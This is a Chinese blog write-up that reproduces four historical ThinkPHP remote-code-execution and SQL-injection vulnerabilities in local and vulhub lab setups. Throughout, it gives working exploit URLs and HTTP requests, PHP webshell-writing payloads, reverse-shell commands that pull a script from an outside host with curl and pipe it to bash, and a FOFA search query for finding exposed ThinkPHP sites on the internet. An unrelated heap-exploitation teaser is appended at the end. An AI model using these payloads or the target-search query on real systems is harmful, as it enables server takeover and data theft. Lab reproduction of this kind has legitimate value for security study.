前言
本篇文章是ThinkPHP服务框架历史漏洞利用复现记录,记录了ThinkPHP历史漏洞利用方式,文章分为简介、安装、漏洞复现、fofa搜索/实战和工具下载六部分,复现4个历史漏洞,复现使用环境为本地及docker vulhub。文中出现的错误和不足之处希望读者指出,谢谢^^
一、Thinkphp简介
ThinkPHP是一个快速、兼容而且简单的轻量级国产PHP开发框架,诞生于2006年初,原名FCS,2007年元旦正式更名为ThinkPHP,遵循Apache2开源协议发布,从Struts结构移植过来并做了改进和完善,同时也借鉴了国外很多优秀的框架和模式,使用面向对象的开发结构和MVC模式,融合了Struts的思想和TagLib(标签库)、RoR的ORM映射和ActiveRecord模式。
ThinkPHP是按照MVC思想开发的一个框架,也叫TP框架。
优点:
1、快速,稳定的搭建系统程序
2、可以使开发人员经历集中在业务逻辑上,不需要关系程序的底层架构
3、可以节省大量代码,后期的升级、维护、优化十分方便
4、有利于团队的代码风格统一
二、Thinkphp安装
下载地址
```xml
http://www.thinkphp.cn/down.html
使用环境
ThinkPHP_2.2
ThinkPHP_3.1.2
ThinkPHP_5.0.22
ThinkPHP_v5.0.23
vulhub
```
本地搭建Thinkphp
使用PHPStudy搭建,注意需要安装vc9-x86
(1)将下载到的thinkphp 5.0.22解压,把文件复制到网站的根目录WWWweb:
(2)配置域名,这里是本地,输入本地lP,网站目录WWW/web,点击新增后再点击保存设置并生成配置文件:
(3) 修改一下网站的运行目录,thinkPHP的入口是在public,在其他设置--打开配置文件--vhosts-conf修改:
(4) 在documentroot后面加上public,点击保存︰
重启Apache和MySQL
(5) 访问测试
xml
http://192.168.11.127/
三、本地环境复现
1) 验证漏洞是否存在
xml
http://192.168.11.127/index.php?s=/Index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1 and it'll execute the phpinfo
显示phpinfo证明漏洞存在
2) 上线shell
写入一句话木马
xml
http://192.168.11.127/index.php?s=/index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=<?php @eval($_POST['ha']);?>
成功写入
菜刀连接
四、Vulhub环境复现
1、ThinkPHP 2.x任意代码执行漏洞
1) 影响版本
xml
ThinkPHP 2.x
2) 漏洞启动
(1) 开启ThinkPHP2.x任意代码执行漏洞
shell
docker-compose up -d
(2) 验证环境是否开启
shell
docker ps
3) 漏洞复现
(1) 访问靶机
xml
http://192.168.11.92:8080/
(2) 验证漏洞是否存在
xml
http://192.168.11.92:8080/index.php?s=/index/index/name/${@phpinfo()}
(3) RCE POC
xml
http://192.168.11.92:8080/index.php?s=a/b/c/${@print(eval($_POST[1]))}
命令执行
POC
```xml
POST /index.php/?s=a/b/c/${@print(eval($_POST[1]))} HTTP/1.1
Host: 192.168.11.92:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=9c61c7aabd7dadb0aaa492e7fe41925d
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
1=system("id");
```
(4) 反弹shell
准备
shell
bash -i >& /dev/tcp/192.168.10.225/8888 0>&1
python -m SimpleHTTPServer 80
创建好bash和开启python http模式!
xml
1=system("curl 192.168.10.225/shell.sh | bash");
(5) 直接菜刀连接的payload
xml
http://192.168.11.92:8080/index.php?s=a/b/c/${@print(eval($_POST[1]))}
连接成功
2、Thinkphp5 5.0.22 L 5.1.29远程执行代码漏洞
1) 影响版本
xml
5.0.22 / 5.1.29
2) 漏洞启动
(1) 开启5.0.22漏洞
shell
docker-compose up -d
(2) 验证漏洞环境是否开启
shell
docker ps
3) 漏洞复现
(1) 访问靶机
xml
http://192.168.3.14:8080/
(2) 验证漏洞是否存在
phpinfo payload
xml
http://192.168.3.14:8080/index.php?s=/Index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1%20and%20it%27ll%20execute%20the%20phpinfo
(3) 任意命令执行
payload
xml
http://192.168.3.14:8080/index.php?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
(4) 写入webshell
payload
```xml
http://192.168.3.14:8080/index.php?s=/index/thinkapp/invokefunction&function=call_user_func_a
rray&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=要写入的文件内容或文件内容的url编码
<?php @eval($_POST['h']);?>
或
<?php eval($_POST[h]);?>
最终
http://192.168.3.14:8080/index.php?s=/index/thinkapp/invokefunction&function=call_user_func_a
rray&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=<?php @eval($_POST['h']);?>
```
蚁剑成功连接
3、ThinkPHP 5.0.23远程执行代码漏洞
1) 影响版本
xml
ThinkPHP 5.0.0 ~ 5.0.23
2) 漏洞启动
(1) 启动环境
xml
docker-compose up -d
(2) 验证漏洞环境是否开启
xml
docker ps
3) 漏洞复现
(1) 访问靶机
xml
http://192.168.3.14:8080/
(2) 验证漏洞是否存在
```xml
POST /index.php?s=captcha HTTP/1.1
Host: 192.168.3.14:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 72
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id
```
(3) 反弹shell
xml
bash -i >& /dev/tcp/192.168.3.20/8888 0>&1
python -m SimpleHTTPServer 80
nc -lvp 8888
curl 192.168.3.20/shell.sh | bash
4、ThinkPHP5 SQL注入漏洞和敏感信息泄露漏洞
1) 影响版本
xml
ThinkPHP < 5.1.23
2) 漏洞启动
(1) 开启环境
xml
docker-compose up -d
(2) 验证环境是否开启
shell
docker ps
3) 漏洞复现
(1) 访问靶机
xml
http://192.168.3.20/
(2) 验证漏洞是否存在
xml
http://192.168.3.20/index.php?ids[]=1&ids[]=2
(3) 获取mysql数据库用户名密码
构造POC,填写到password框
xml
http://192.168.3.20/index.php?ids[0,updatexml(0,concat(0xa,user()),0)]=1
五、实战
fofa搜索方式
xml
"ThinkPHP V5" && "十年磨一剑 - 为API开发设计的高性能框架"
六、工具及复现资源
链接:https://pan.baidu.com/s/1D2rd52NwnM7JRnHsLkhrPA
提取码:luy9
介绍 结构 large bin与其他bin的结构都不同,它多了两个指针fd_nextsize和bk_nextsize,直接说难以理解它的结构,先放一张图后边慢慢说它的结构: 上图是large bin的内部结构,large bin与其他bin的主要区别在于它使用…
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论